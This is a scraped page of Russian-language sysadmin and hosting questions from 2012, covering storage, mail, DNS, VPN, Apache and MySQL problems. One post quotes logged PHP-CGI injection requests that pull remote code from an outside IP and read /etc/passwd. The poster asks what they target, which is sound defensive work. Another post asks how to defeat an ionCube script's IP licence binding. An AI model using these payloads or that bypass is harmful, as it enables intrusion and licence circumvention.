Хочу как минимум 256 Gb памяти (ECC), а лучше 512 Gb. Производительность процессора не имеет особого значения. Собрать хочу самостоятельно, т.е. дорогие-готовые решения не интересны. Что будет дешевле платформа на Intel или AMD?

Или может есть смысл сделать два сервера по 128 Gb и это будет определенно дешевле одного сервера с 256 Gb?
 

2012.11.28, 17:16:01   #Серверы - #29373


Купил хранилище Thesus N2200 PLUS и жесткий диск Caviar Blue SATA 1TB 64MB Cache. Втыкаю его в хранилище, захожу в админку, и хранилище никак его не видит. Создать RAID тоже никак не получается. В чем может быть причина?
 

2012.11.29, 11:10:30   #Хостинг - #29427


Дано:
Три сервера, следующей конфигурации:

4-х ядерный процессор AMD Athlon II X4 640

16 ГБ оперативной памяти

14 жестких дисков, два по 250 Гб объединенных в raid-1 (hardware) для ОС и софта, двенадцать по 2 Тб объединенных в raid-6 (mdadm) для самого хранилища, т.е. фактически с учетом издержек на raid и файловую систему доступно 19 Тб пространства)

итого порядка 57 Тб пространства в сумме
Существующие данные:

3 000 000 картинок, средний размер около 1 Мб (преимущественно это фотографии и скриншоты)

100 000 разношерстных файлов, средний размер очень условно 150 Мб, на деле от 100 Кб до 4 Гб

итого около 18 Тб данных
Программное обеспечение:

операционная система: Debian 6

текущая система хранения данных: mogilefs


Надо:
Простой (к примеру основанный на HTTP) интерфейс CRUD-операции с объектами в хранилище (можно без U). Требования работать с хранилищем как с обычным локальным разделом (POSIX-совместимая файловая система) нет, но если такое тоже достижимо — будет хорошо.
Возможность прочитать фрагмент объекта (необходимо для псевдостримминга видео).
Иметь избыточность данных (raid не решает задачи, когда вышел из строя весь сервер или с сервером потеряна связь), т.е. один объект должен храниться как минимум на двух серверах.
Иметь возможность разнести сервера по разным (двум) дата-центрам.
Крайне желательно, чтобы система не требовала отдельного сервера для хранения meta-данных (так называемый name-сервер), т.к. это создает дополнительную точку отказа.
Система должна иметь возможность анализировать свое состояние, т.е. проверять наличие необходимого числа копий для объектов, в идеале проверка консистентности объектов (но это накладывает определенные требования, такие как вычисление контрольной суммы для объектов и хранение трех копий, для возможности чтения с кворумом, поэтому это не требование, а пожелание к системе).
Система должна иметь возможность перераспределить объекты между хранилищами, т.е. когда появится четвертый сервер, то данные должны быть равномерно перераспределены между всеми серверами.
Совсем идеально иметь возможность установить ttl для объекта (т.е. чтобы по прошествии заданного времени объект был удален или помечен как удаленный).
Система должна уметь удалять объекты, т.е. когда объект удаляется или помечается как удаленных, он действительно должен быть удален, допускается это делать с задержкой.
Решение должно быть полностью программным, никакого дополнительного оборудования или замена существующего.


Что уже пробовали:
MogileFS. Данное решение было выбрано около 3-лет назад и используется сейчас, в принципе оно отвечает ряду требований, но сложность его сопровождения (на деле это набор perl-скриптов) и отсутствие поддержки остальных требований заставило меня задуматься и поискать альтернативы.
GridFS (mongodb). Очень медленно и сыро, я не буду детально расписывать что не так с гридфс, отмечу что тестировал его полтора года назад, возможно сейчас с ним все намного лучше, поэтому просто просьба этот вариант не предлагать, я о нем знаю.


Просьба к сообществу

Буду благодарен услышать ваши предложения относительно выбора программного обеспечения для хранилища отвечающего указанным выше требованиям. Отдельно интересует услышать об опыте работы с Elliptics (ioremap.net, elliptics.ru) из описании на сайтах складывается впечатление, что это практически «серебряная пуля», но отсутствии сведений о реальном использовании вызывают опасение использовать данное решение в бою. Спасибо.
 

2012.11.30, 16:53:17   #Системное администрирование - #29565


Имеется VPS с dovecot и exim4, случайным образом заметил, что имеется огромное количество frozen mails. По выводу mailq много записей наподобие:
45m 1.4K 1TeQCI-0000yr-IL *** frozen ***
smmsp@hostname

25m 1.4K 1TeQVd-0001wI-T0 *** frozen ***
smmsp@hostname

5m 1.4K 1TeQp0-0002xP-42 *** frozen ***
smmsp@hostname
Как чистить знаю, интересует вопрос, как этого избежать?
P.S. Двухчасовое копание гугла не помогло.
 

2012.12.03, 21:45:04   #Системное администрирование - #29757


$url = "http://example.com/×××××/loader.html"; $code = @file_get_contents ($url); echo $code;
 

2012.12.04, 08:31:04   #Системное администрирование - #29779


В частности Disaster recovery 10 версии и SDR 12 версии, нюансы использования дополнительных модулей, взаимодействие с VMWare, лицензирование, BE+фришный эмулятор ленточной библиотеки?
 

2012.12.04, 20:52:53   #Серверы - #29831


Идей никаких, траффик не набегает в эти периоды, кронтаб посмотрел. Все остальное время – идеально работает. Просто не понимаю, что происходит, может, кто что подскажет?
 

2012.12.07, 09:42:31   #Системное администрирование - #29995


Доброго времени суток!

Есть сервер, на котором крутят фронтэнд и веб-сервис для iOS версии приложения. Основной идеей приложения является ежедневная рассылка некоторого контента. Так как этот контент наполняется через админку, он хранится в БД этого же сервера. Плюс есть немного логике, т.е. система учитывает номер последней рассылки, есть возможность приостановить рассылку и т.д. (это я к тому, что просто перейти на сервис рассылок — не самый простой вариант).

Меня интересует, почему письма, отсылаемые с помощью PHP (функция mail), могут попадать в спам? Системный администратор утверждает, что 100 000 писем в день — не проблема для сервера, но письма все равно будут попадать в спам, т.к. некоторые пользователи будут жать кнопку спам. Здесь можно зарегистрировать feedback loops. А могут ли быть еще какие-то причины попадания туда и как их устранить?

Заранее, спасибо!
 

2012.12.07, 14:20:35   #Системное администрирование - #30017


Всем привет.

Просматривал логи запросов к www серверу и обнаружил такие интересный POST запрос. Не подскажите ли, чего добивался автор?

&quot;POST /?-d%20allow_url_include%3DOn+-d%20auto_prepend_file%3Dhttp://129.171.178.13/pmwiki/api.gif%20-n/?-d%20allow_url_include%3DOn+-d%20auto_prepend_file%3Dhttp://129.171.178.13/pmwiki/api.gif%20-n HTTP/1.1&quot;


попутно,

&quot;POST /?-d%20allow_url_include%3DOn+-d%20auto_prepend_file%3D../../../../../../../../../../../../etc/passwd%00%20-n/?-d%20allow_url_include%3DOn+-d%20auto_prepend_file%3D../../../../../../../../../../../../etc/passwd%00%20-n HTTP/1.1&quot;


и

&quot;POST /?-d%20allow_url_include%3DOn+-d%20auto_prepend_file%3D../../../../../../../../../../../../etc/passwd%00%20-n/?-d%20allow_url_include%3DOn+-d%20auto_prepend_file%3D../../../../../../../../../../../../etc/passwd%00%20-n HTTP/1.1&quot;


с этими двумя запросами суть понятна, но не понятно, что пытались эксплуатировать. Может кто-нибудь удовлетворить мое любопытство и, может быть, предостеречь? )


Спасибо.
 

2012.12.08, 12:48:49   #Системное администрирование - #30075


Уже когда-то задавал подобный вопрос, но ответов, к сожалению, не хватило, чтобы все привести в порядок.
Итак, есть «сервер» (в кавычках, потому что сервером принято называть бесперебойное и непроблемное оборудование), на котором крутится RemoteApp c 1C-кой.
Конфигурация:
CPU: Intel Core i7-870 (Lynnfield, B1)
2933 MHz (22.00x133.3) @ 3210 MHz (24.00x133.8)
Motherboard: ASUS P7P55D PRO
Chipset: Intel P55 (IbexPeak)
Memory: 16384 MBytes @ 668 MHz, 9.0-9-9-24
— 4096 MB PC10600 DDR3 SDRAM — Samsung M378B5273CH0-CH9
— 4096 MB PC10600 DDR3 SDRAM — Samsung M378B5273CH0-CH9
— 4096 MB PC10600 DDR3 SDRAM — Samsung M378B5273CH0-CH9
— 4096 MB PC10600 DDR3 SDRAM — Samsung M378B5273CH0-CH9
Graphics: nVIDIA GeForce 210 (GT218), 512 MB DDR2 SDRAM
Drive: WDC WD20EARS-00MVWB0, 1953.5 GB, Serial ATA 3Gb/s
Drive: WDC WD20EARS-00MVWB0, 1953.5 GB, Serial ATA 3Gb/s
Drive: WDC WD10EALX-009BA0, 976.8 GB, Serial ATA 6Gb/s
Drive: WDC WD10EALX-009BA0, 976.8 GB, Serial ATA 6Gb/s
Drive: Optiarc DVD RW AD-7260S, DVD+R DL
Drive: Intel Raid 1 Volume, Disk drive
Sound: Intel 5 Series/34x0 Chipset PCH — High Definition Audio Controller [B3]
Sound: nVIDIA GT218 — High Definition Audio Controller
Network: RealTek Semiconductor RTL8168D/8111D PCI-E Gigabit Ethernet Adapter
OS: Microsoft Windows Server 2008 R2 Standard (x64) Build 7601
 

2012.12.10, 17:33:03   #Системное администрирование - #30219


Нужно кинуть витую пару между двумя частными домами на даче. Какой конкретно кабель лучше выбрать для этого? Можно ли его до весны кинуть просто по снегу? Или лучше воздушным образом подвесить?
 

2012.12.11, 15:46:22   #Системное администрирование - #30281


Товарищи — админы, поделитесь опытом настройки данного чуда или может даже рабочим конфигом.

Есть старый сервер на freebsd 5.4, который рушить нельзя. Нужно его из локальной доставки допилить до релея на другой внутренний сервер.


Вот такой mc имеется:

divert(-1) divert(0) VERSIONID(`$FreeBSD: src/etc/sendmail/freebsd.mc,v 1.28 2003/04/18 01:25:41 gshapiro Exp $') OSTYPE(freebsd5) DOMAIN(generic) FEATURE(access_db, `hash -o -T /etc/mail/access') FEATURE(local_lmtp) FEATURE(virtusertable, `hash -o /etc/mail/virtusertable') FEATURE(accept_unresolvable_domains) FEATURE(use_cw_file) FEATURE(nouucp, `reject') FEATURE(relay_based_on_MX) MASQUERADE_AS(домен.ru) define(`confCW_FILE', `-o /etc/mail/local-host-names') define(`confNO_RCPT_ACTION', `add-to-undisclosed') define(`confPRIVACY_FLAGS', `authwarnings,noexpn,novrfy') define(`confMAX_MESSAGE_SIZE', `10485760')dnl MAILER(local) MAILER(smtp) INPUT_MAIL_FILTER(`sp-milter', `S=local:/var/run/sp-milter.sock, F=T, T=C:1m;S:20s;R:20s;E:1m')


Юзабельно ли следующее решение?:
reki.ru/sendmail_transit_setup.html
 

2012.12.12, 12:42:23   #Системное администрирование - #30355


Входные условия.


1. Windows, начиная с XP (если c XP большая проблема, то можно обойтись и без нее)

2. Можно пользоваться только встроенными в ОС средствами

3. Можно пользоваться любым script host-ом не только cmd.exe


Задача.


Есть bat файл вида
@echo off rem Этот файл может запускаться от имени ста пользователей одновременно start /B notepad.exe rem Способ вызова notepad.exe можно изменить на любой другой, лишь бы работало rem В этой строчке нужно узнать PID только что запущенного notepad.exe
 

2012.12.12, 12:51:59   #Системное администрирование - #30361


Необходимо удалённо мониторить сервер по сети. Запускать там всякие ГУИшные программки на работу на определённое время, потом смотреть состояние их работы. Возникла идея использовать для этих целей VNC-сервер. И тут возник вопрос какой выбрать. Требование: чтоб он запускался до логина пользователя в систему через GUI. Т.е. стандартный vino отпадает.

Потом стал использовать TihgtVNC. Вроде, то, что нужно. Но в процессе его использования возникла проблема (это относится не только к описанному в вопросе VirtualBox, но и массе других GUI-программ).

В итоге ищу ему замену. Но вот пока не знаю какую выбрать.
 

2012.12.12, 16:49:47   #Системное администрирование - #30389


Здравствуйте!

В последнее время у нас появились жалобы от некоторых клиентов, по поводу того, что наш сайт долго открывается и вообще сам сервис работает очень медленно, ничего нормально не функционирует. При этом остальные сайты открываются быстро. Просили клиентов делать пинги, потерь нет, время отклика в пределах нормы, а вот трассировка немного странная:
grabilla.com/02c0c-2df20ff8-0618-4103-96fb-32c5ae7...


Оказалось всех клиентов с такой проблемой объединяет то, что провайдер у них Yota.


Самое интересное, что на самом деле наш сайт прекрасно открывается ( consultsystems.ru ) и все работает отлично. Попробовали подключить Yota в офисе, у нас все хорошо открывается, без задержек. Поэтому скорее всего проблема на отдельных вышках. Такая ситуация наблюдается не только в Москве, но и, например, в Новосибирске.


Может кто-нибудь сталкивался с подобной проблемой? Нет ли у yota каких-либо ограничений?


Если вы сейчас подключены через Yota, отпишитесь, пожалуйста, насколько хорошо открывается сайт, желательно сделать трассировку. Сервера располагаются на hetzner.de, но мы пробовали делать прокси через московский сервер, все то же самое.


UPD: Отключение keep-alive по всей видимости помогло. Спасибо Antelle за подсказку.
 

2012.12.12, 19:44:19   #Хостинг - #30395


Задача: запустить скрипт, закодированный ion cube`ом и привязанный к определённому IP адресу.

С конкретным VPS не определился, да и не разбираюсь вообще в VPS в общем-то. В гугле толкового мануала не нашел, всё лабуда вылазит. Думаю купить VPS, воткнуть туда виртуальный сетевой интерфейс с определённым IP адресом, на который привязан скрипт. Ну и, собственно говоря так обойти привязку скрипта к IP адресу.

Возникает вопрос, позволяет ли типичный дешевый VPS, который предлагают хостеры такую манипуляцию?
 

2012.12.13, 13:35:53   #Хостинг - #30457


Здравствуйте. Подскажите, кто в теме и знает, т.е я не в теме и не знаю.
Арендую простой VDS у FirstVDS и чтобы иметь собственные DNS для доменов дополнительно арендовал
у них IP, получилось так:
ns1.mysite.com / 00.00.00.01
ns2.mysite.com / 00.00.00.02
Все мои домены имеют эти DNS и отлично работают.

Недавно арендовал сервер у Hetzner и необходимо перенести на их сервер все данные.
Перенести файлы и БД я смог просто, воспользовался ISPmanager, все отлично встало, но я без понятия,
как мне поменять DNS для всех сайтов так, чтобы они остались ns1.mysite.com и ns2.mysite.com, при том,
чтобы поменять дочерние DNS только у основного домена mysite.com.
Надеюсь, что я понятно изложил, т.к для меня это пока сложновато.
Т.к мне Hetzner выдал IP, я попросил у них второй в аренду, чтобы сделать по аналогии, как у FirstVDS,
но они мне его не дали.

Подскажите как быть и как правильно сделать?
 

2012.12.14, 13:42:28   #Хостинг - #30533


Есть некоммерческий сайтик на виртуальном хостинге под ддосом, денег на защиту нету. Есть также домашний интернет-канал в 32 мбит/с, который типа может перекрыть своею емкостью атаку.

Насколько идиотская мысль выставить в паблик домашний ip и проксировать с него очищенный трафик на сайт? Проблемы домашнего провайдера интернета сочтем ничтожными.

Цели:
1) спасти сайтик
2) попробовать фильтацию на коленке
3) фан
 

2012.12.14, 14:14:47   #Хостинг - #30541


Возникла такая проблема: отдали сайт разрабатывать студии, согласившись на то, что хостить его они будут на своем германском сервачке. Дали им доступ к учетке регистратора доменных имен. И они переключили NS-сервера на свои, а мы, соответственно, потеряли доступ к записям. Сайт сдали, все явки-пароли к нему тоже. А NS-ки остались теми же, из хостер-панели записи не меняются.
И теперь за любым DNS-чихом приходится обращаться к ним.
Если ли возможность просмотреть все DNS-записи, насоздавать их же у делегатора (регистратора домена или на том же Яндексе — эм, кто-то так делал? Как оно?) и переписать NS-ки на нужные? Этого будет достаточно?
В вопросе разбираюсь, как вы поняли, не очень. Но отвязаться от этих товарищей хотелось бы.
 

2012.12.15, 00:30:30   #Системное администрирование - #30585


Есть 3 веб-сервера, каждый расположены в разных местах 1 в России, 2 за бугром, необходима балансировка нагрузки между этими серверами, чтобы в случае отказа 1-го сервера весь трафик переключался на 2й и 3й сервера с минимальной задержкой.


Мне предложили вариант разместить оборудование по типу этого www.f5.com/products/big-ip/big-ip-local-traffic-ma... в каком-либо ДЦ и пустить весь трафик через него и уже на нем делать балансировку, подскажите аналоги такой железки как готового продукта или услуги, по типу амазоновских сервисов, т.к. подобные железки стоят достаточно дорого.


Варианты с балансировкой на уровне DNS не предлагать.
 

2012.12.16, 16:01:35   #Системное администрирование - #30647


Пусть есть Linux-router.
Пусть есть 3 внешних IP (eth0=EXT_IP0, eth0:1=EXT_IP1, eth0:2=EXT_IP2).
Пусть у него есть внутренний eth1=192.168.0.1.
И пусть есть некий 192.168.0.2 — сервер терминалов.
Задача:
1. прокидывать снаружи с EXT_IP1 порт терминалов на сервер терминалов.
2. но чтобы с последнего наружу трафик (новый) выезжал по EXT_IP2.

Первая часть решена (CentOS6, /etc/sysconfig/iptables):
*nat
-A PREROUTING -i eth0 -d -p tcp --dport 3389 -j DNAT --to-destination 192.168.0.2:3389
*filter
-A FORWARD -i eth0 -m state --state NEW -m tcp -p tcp -d 192.168.0.2 --dport 3389 -j ACCEPT

Маскарад тоже:
-A POSTROUTING -o eth0 -j MASQUERADE

Но выезжают все, ессно, через EXT_IP0.
А надо — через EXT_IP2.
 

2012.12.17, 06:39:04   #Системное администрирование - #30687


Windows Server 2008 работает в esxi, время от времени без конкретной периодичности нет возможности войти в систему. Система работает, но после ввода логина/пароля вроде принимает и выбрасывает опять на вход так же Windows Server 2008 как сервер 1С не доступен в сети хотя на шару зайти возможно, помогает только рестарт виртуального хоста. В логах нет ничего. Может кто то с этим встречался?
 

2012.12.18, 14:48:15   #Серверы - #30815


День добрый.

Решили мы в компании перейти на серьёзные рельсы, чтобы всё «как у взрослых». NAS, SAN, FibreChannel и Hyper-V. Закупили оборудование, собрали, поставили и… упёрлись в проблему.


Если кратко, то проблема в производительности дискового хранилища — она плавает и падает до очень низкой.


Если полно, то читайте далее:

Итак дано:

2 шт NAS IBM DS3512 укомплектованные 12ю дисками SAS 15k на 600Гб каждый, маркированными как IBM (в реале вроде бы произведены Seagate и предназначенными именно для этой модели NAS). Так же в каждый NAS установлено по две (2 шт) карты FibreChannel 8Gbit, на 4 порта каждая. В железяке 2 «головы», имеющих независимый доступ к дискам, и соответственно по карте FC на каждую.

2 шт SAN FibreChannel Switched Fabric IBM SAN24B-5 так же с портами на 8Gbit.

3 шт сервера IBM 3550 M4 7414-F2G. В каждый сервер установлено по FibreChannel карте производства Qlogic на 2 порта 8Gbit. Внутри тоже SAS винты.

Всё фирменное, совместимое, собранное по рекомендациям лучших собаководов и вендоров.


На NAS-ах из всех 12-и винтов собран RAID5 и презентован в SAN. На RAIDе создан 4Тб раздел (GPT, NTFS) и пара разделов поменьше.

На серверах сейчас стоит Windows 2012 Server (180-trial). Драйвера ко всем железкам самые свежие, с офф.сайта IBM.


Для простоты картины будем рассматривать один сервер, один switch, и один NAS. Всё остальное в эксперименте не учавствует.

Тест:

Берём объемный файлик, например 4-8Гб, лежащий на винте сервера. Средствами винды копируем его на раздел, который презентован с NAS-а и наблюдаем эффекты.

1) Первые 1-2-4 секунды копирование идёт со скоростью 300-800Мбайт/сек. Потом плавно или резко падает до 30-60Мбайт/сек и плавно снижается далее. Впрочем иногда успевает на полной скорости скопироваться весь файл.

2) До и после копирования возможно замирание, когда окошко копирования висит и не реагирует на мышь длительностью до 1-20 (иногда больше) секунд. Иногда этого замирания нет.

3) Во время копирования NAS интенсивно мигает лампочками винтов. Когда окошко копирования «висит» — индикаторы активности дисков на NAS не мигают и не горят

4) При попытке удалить свежескопированный на NAS файл, окошко удаления замирает на 20-50 секунд, затем только удаляет файл.

5) Пробовали копировать файл лежащий на NAS на него же, но в другую папку — проблемы аналогичные.

Дисклеймер или «мы уже пробовали»:

— Подключать сервер и NAS напрямую, минуя Switch.

— Оставлять подключенным к NASу один единственный сервер по одному единственному линку.

— Делать всё тоже самое с другим NAS-ом, и другим сервером.

— Ставить Windows Server 2008 R2.

— Делать раздел на хранилище меньшего объема — 500Гб (GPT).


Спецэффекты наблюдаются всё те же.


Что это может быть? Куда смотреть, куда копать?


P/S Простите за терминологию. Мог попутать термины для обозначения железяк, но в целом картина верна.
 

2012.12.18, 17:02:56   #Хостинг - #30825


Наша DNS зона располагается у российского провайдера. Сегодня у него были проблемы с DNS. Все наши ресурсы оказались недоступны. Это уже второй случай за год.
Как можно организовать отказоустойчивость DNS?
Можно как-то разместить копию DNS зоны у другого провайдера, так что бы в случае падения основного, DNS запросы пошли на резервного?
Может есть другие решения?
 

2012.12.18, 17:17:24   #Системное администрирование - #30833


Есть сетка.
На роутере стоит dnsmasq.
Есть тачка с десктопной убунтой 12.04 в этой сети с hostname kastigar-worktop. До этой машины можно достучаться по хостнейму http://kastigar-worktop:8080/.
Есть ещё одна тачка с серверной убнтой 12.10. С ней есть одна проблема. После wakeup к ней невозможно достучаться по хостнейму. nslookup не видит её. По IP тачка доступна.
Есть подозрение, что за то время пока тачка спит, роутер осовбождает её привязку. И проснувшись убунта не обновляет сетевые настройки по dhcp, а продолжает пользоваться теми что получила первый раз.
Как это можно более-менее корректно пофиксить?
Спасибо за ответы.

P.S. Простите за сумбурную терминологию
 

2012.12.20, 01:36:38   #Системное администрирование - #30901


Сделал я проект, написал fabric-скрипты для деплоя. Но никак не могу понять, под каким пользователем fabric должен запускать команды, чтобы не было проблем с правами. Кто что делает в этом случае? Есть вариант с sudo, но может есть какой-то другой способ?
 

2012.12.20, 10:48:11   #Системное администрирование - #30925


Есть необходимость окунуться в работу протоколов HTTP и SNMP в Linux. Хочется не простой сухой теории из RFC и man, а что то такое, что сразу можно было бы тут же опробовать на практике, с примерами, желательно с привязкой с Apache и Nagios и/или Cacti и/или Munin. Хотя бы на уровне базового администрирования и решения бытовых задач сисадмина. Чтобы можно было администрировать и понимать в общем виде что оно такое и с чем его едят.
Потому прошу подсказать каких то ссылок на ресурсы с хорошим материалом. Больше хотелось бы каких-то туториалов, гайдов и хау-тушек. Язык желательно русский, ну или не сильно выкрученный английский.
 

2012.12.20, 11:20:10   #Хостинг - #30929


Перерыл все сеть, но так и не смог найти ответ на проблему.


Есть сервер у хетцнера, на нем стоит proxmox 2

Соответственно как у хетцнера заведено есть главный IP 188.xxx.xxx.15 и есть подсеть 178.xxx.xxx.xxx/29 на нем живет виртуалка на ней хосты все работает отлично кроме… почты!


То есть когда с любого домена виртуалки отправляет почту, то вместо родного IP виртуалки доходит главный IP сервера!!!

И если гугл хоть и ругается

Received-SPF: softfail (google.com: domain of transitioning xxx@xxx.xx does not designate 188.xxx.xxx.15 as permitted sender)

но все же принимает почту, то многие вообще не хотят принимать почту ни в каком виде :( естественно думая что им отправляют спам.


Вопрос, как такое может быть!

И как это можно исправить ?!


Заранее благодарен за помощь.
 

2012.12.21, 22:50:25   #Системное администрирование - #31021


Проблема решилась использованием этого скрипта специально для настройки на aws.

Без проблем настроил PPTP VPN на облаке Амазона — всё работает.
Сейчас пытаюсь настроить IPSEC/L2TP подключение по этому топику (потом нашёл ещё одну инструкцию)

Сначала при попытку перезагрузить настройки консоль мне писала (с пустой строкой на месте ошибки):

Segmentation fault (core dumped) failed to start openswan IKE daemon - the following error occured: Опытным путём выяснилось, что причина в строке rightprotoport=17/%any в /etc/ipsec.conf. Заменил её на rightprotoport=17/0 (понятия не имею, что это значит). Перезагрузка настроек стала проходить без ошибок. Поменял обратно, магия, но все работает. Возможна причина была в отсутствии перевода строки в файле конфигурации. В общем, уже неважно.

sudo ipsec verify сейчас пишет:

Checking your system to see if IPsec got installed and started correctly: Version check and ipsec on-path [OK] Linux Openswan U2.6.37/K3.2.0-31-virtual (netkey) Checking for IPsec support in kernel [OK] SAref kernel support [N/A] NETKEY: Testing XFRM related proc values [OK] [OK] [OK] Checking that pluto is running [OK] Pluto listening for IKE on udp 500 [OK] Pluto listening for NAT-T on udp 4500 [OK] Checking for 'ip' command [OK] Checking /bin/sh is not /bin/dash [WARNING] Checking for 'iptables' command [OK] Opportunistic Encryption Support [DISABLED]

Вроде всё должно работать, но попытки подключиться не удаются. Win7 пишет: «Ошибка 789. Попытка L2TP-подключения не удалась из-за ошибки, произошедшей на уровне безопасности во время согласований с удаленным компьютером».
Айфон подключиться тоже не может.

Вот файлы настроек (собранные уже откуда только можно):

/etc/rc.local
for vpn in /proc/sys/net/ipv4/conf/*; do echo 0 > $vpn/accept_redirects; echo 0 > $vpn/send_redirects; done iptables --table nat --append POSTROUTING --jump MASQUERADE exit 0

/etc/ipsec.conf
config setup dumpdir=/var/run/pluto/ nat_traversal=yes virtual_private=%v4:10.0.0.0/8,%v4:192.168.0.0/16,%v4:172.16.0.0/12,%v6:fd00::/8,%v6:fe80::/10 protostack=netkey conn L2TP-PSK-NAT rightsubnet=vhost:%priv also=L2TP-PSK-noNAT conn L2TP-PSK-noNAT authby=secret pfs=no auto=add keyingtries=3 ikelifetime=8h keylife=1h type=transport left=ELASTIC IP ADDRESS leftprotoport=17/1701 right=%any rightprotoport=17/0

/etc/ipsec.secret
ELASTIC IP %any: PSK "Passphrase"

/etc/xl2tpd/xl2tpd.conf
[global] ipsec saref = yes listen-addr = ELASTIC IP port = 1701 ; * Bind to port 1701 auth file = /etc/ppp/chap-secrets ; * Where our challenge secrets are [lns default] ip range = 172.16.1.30-172.16.1.100 ; ip range = range of IPs to give to the connecting clients local ip = 172.16.1.1 refuse pap = yes require authentication = yes ppp debug = no ; yes for testing pppoptfile = /etc/ppp/options.xl2tpd length bit = yes

/etc/ppp/options.xl2tpd
require-mschap-v2 ms-dns 8.8.8.8 ms-dns 8.8.4.4 asyncmap 0 auth mtu 1200 mru 1000 crtscts hide-password modem name l2tpd proxyarp lcp-echo-interval 30 lcp-echo-failure 4 noipx

/etc/ppp/chap-secrets
user1 pptpd Pass * user2 l2tpd Pass *

Вроде бы всё. У кого-то есть идеи, в чем причина того, что всё это не работает?
А, да, в security group для инстанса открыты все tcp и udp порты на время экспериментов. Ubuntu 64 битная.

Вот что пишет auth.log о попытке подключения:
Скрытый текстDec 21 20:26:00 (instance local ip) pluto[5222]: packet from (my ip):500: ignoring Vendor ID payload [MS NT5 ISAKMPOAKLEY 00000008] Dec 21 20:26:00 (instance local ip) pluto[5222]: packet from (my ip):500: received Vendor ID payload [RFC 3947] method set to=109 Dec 21 20:26:00 (instance local ip) pluto[5222]: packet from (my ip):500: received Vendor ID payload [draft-ietf-ipsec-nat-t-ike-02_n] meth=106, but already using method 109 Dec 21 20:26:00 (instance local ip) pluto[5222]: packet from (my ip):500: ignoring Vendor ID payload [FRAGMENTATION] Dec 21 20:26:00 (instance local ip) pluto[5222]: packet from (my ip):500: ignoring Vendor ID payload [MS-Negotiation Discovery Capable] Dec 21 20:26:00 (instance local ip) pluto[5222]: packet from (my ip):500: ignoring Vendor ID payload [Vid-Initial-Contact] Dec 21 20:26:00 (instance local ip) pluto[5222]: packet from (my ip):500: ignoring Vendor ID payload [IKE CGA version 1] Dec 21 20:26:00 (instance local ip) pluto[5222]: packet from (my ip):500: initial Main Mode message received on (instance local ip):500 but no connection has been authorized with policy=PSK
 

2012.12.23, 14:04:55   #Системное администрирование - #31079


Нужно помощь, уже все выходные потратил на гугление вот по таким вопросам.


Нужно научить сайт работать по таким правилам, которые прописаны через htaccess (это самый оптимальный вариант)


#1

Вместо
site.ru/page.html/

Редирект на
site.ru/page.html


#2

Вместо
site.ru/catalog

Редирект на
site.ru/catalog/


#3

Вместо
site.ru//catalog//

Редирект на
site.ru/catalog/


#4

Вместо
site.ru/index/

Редирект на
site.ru/


#5

Вместо
site.ru/blog/name-blog/page1/

Редирект на
site.ru/blog/name-blog/


PS понимаю что много прошу, с меня на пиво!


PSPS Кстати правило #2 все таки сделал
RewriteCond %{REQUEST_URI} /+[^\.]+$ RewriteRule ^(.+[^/])$ %{REQUEST_URI}/ [R=301,L]
 

2012.12.23, 23:37:55   #Серверы - #31113


Всем хабрапривет! Сегодня столкнулся с проблемой, опыта в серверном администрировании немного, потому решил обратиться за помощью к сообществу :)

Итак. Есть две папки, example и redmine, лежащие на одном уровне иерархии файловой системы (/var/www). Одна из папок (example) установлена в качестве DocumentRoot для виртуального хоста в Apache2 и доступна через интернет: example.org

Задача: нужно прописать рерайт так чтобы при заходе на example.org/redmine сервер обращался к папке /var/www/redmine

Директива Alias не сработала:



ServerAdmin mymail@gmail.com
ServerName www.example.org
ServerAlias example.org *.example.org
DocumentRoot /var/example

Alias /redmine/ "/var/www/redmine/"


AllowOverride all
Options -MultiViews
RailsBaseURI /redmine
PassengerResolveSymlinksInDocumentRoot on



Options Indexes FollowSymLinks MultiViews
AllowOverride None
Order allow,deny
allow from all




Пробовал по этому совету в папке example создавать папку redmine, а в ней делать символьную ссылку на /var/www/redmine/public:
ln -s /var/www/redmine/public /var/www/example/redmine
Не помогло.

При заходе на example.org/redmine в показанной выше конфигурации выдается ошибка Passenger, «No such file or directory — config/environment.rb» — т.е. он не видит правильный путь для запуска.

Сложность похоже еще в том, что Redmine — Ruby приложение, а для него обязательно прописывать особые директивы. Например RailsBaseURI, которое по-видимому отсчитывается относительно директивы DocumentRoot.

Please help :)
 

2012.12.24, 12:48:45   #Системное администрирование - #31135


Здравствуйте.

Получилось так, что я накосячил при переносе базы с одного сервера на другой, и перенёс её вместе с базой mysql.

После чего я обнаружил, что я не могу даже рестартануть mysql, т.к. у пользователя debian-sys-maint нет на это прав, но это не суть, как эту проблему решить потом, я уже нашёл.


Дело в том, что пользователь root у меня почему-то без GRANT. Т.е. он может делать всё, но не может создать например нового юзера.
mysql -uroot -p
Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 900 Server version: 5.5.28-1~dotdeb.0 (Debian)
GRANT ALL PRIVILEGES ON *.* TO 'debian-sys-maint'@'localhost' IDENTIFIED BY '...' WITH GRANT OPTION;
ERROR 1045 (28000): Access denied for user 'root'@'localhost' (using password: YES)


Вот и всё. Получается, что у моего root-пользователя нет прав на создание пользователей и назначение прав.

Помогите пожалуйста наделить рута правами)

Заранее спасибо!
 

2012.12.27, 09:55:13   #Системное администрирование - #31333


Здраствуй Хабр, есть проблема.


Поставил WSUS на 2008 R2 64-Bit.


Через GPO накатил политику указывающую клиентам брать с него апдейты, но!


Клиент видит лишь малую долю обновлений (около 10-ка ) хотя в самом WSUS на этого клиента висит 150+ обновлений. Винду только что поставил WSUS тоже, от версии не зависит что XP что W7 — ситуация схожа. Все обновления одобрены.
 

2012.12.28, 12:50:23   #Системное администрирование - #31451


Недавно, возможно даже на хабре, видел описание веб-сервиса с возможностью мониторинга нескольких никс-серверов (мониторинг mysql, i/o, места на диске), причем часть функционала дают бесплатно, с няшным интерфейсом похожим чем-то на медиатемпл. Хотел «пожже попробовать», но напрочь забыл название/сайт. Час поисков и гугленья успехом не увенчались. Подскажите?
 

2012.12.28, 21:59:54   #Серверы - #31489


Добрый день!
Не нашел подобного вопроса, хотя уверен что он уже задавался.

На домашнем компе есть данные объёмом около террабайта, для которых нужно настроить бэкапы. Принципиально, чтобы они хранились в «удаленном» месте — то есть самый просто вариант — настроить локальные бэкапы не подходит.

Родственников, которые бы согласились держать постоянно включенный комп тоже не нашлось.
А вручную подцеплять диск, делать бэкап и утаскивать его из дома несколько раз в месяц — не удобно.

В голову приходит только аренда выделенного сервера. Дешевле 3к в месяц я ничего не нашел ( принципиален объем в 1тб+), а для домашних бэкапов это многовато

Просьба подсказать другой метод или хостинг с более приемлемыми ценами
 

2013.12.31, 08:00:22   #Системное администрирование - #31573


